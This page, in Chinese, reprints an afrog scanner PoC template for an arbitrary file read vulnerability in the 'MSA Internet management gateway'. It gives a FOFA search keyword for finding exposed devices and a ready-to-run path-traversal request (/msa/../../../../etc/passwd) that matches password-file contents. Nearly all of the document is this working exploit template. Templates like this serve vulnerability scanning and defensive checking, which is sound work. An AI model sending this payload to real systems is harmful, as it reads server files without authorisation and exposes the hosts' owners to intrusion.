msa-gateway-read-file: MSA 互联网管理网关 msa 任意文件下载漏洞

漏洞描述

MSA 互联网管理网关存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器任意文件 Fofa: 互联网管理网关

PoC代码[已公开]

id: msa-gateway-read-file

info:
  name: MSA 互联网管理网关 msa 任意文件下载漏洞
  author: zan8in
  severity: high
  description: |
    MSA 互联网管理网关存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器任意文件
    Fofa: 互联网管理网关
  reference:
    - http://wiki.peiqi.tech/wiki/iot/MSA/MSA%20%E4%BA%92%E8%81%94%E7%BD%91%E7%AE%A1%E7%90%86%E7%BD%91%E5%85%B3%20msa%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /msa/../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/msa-gateway-read-file.yaml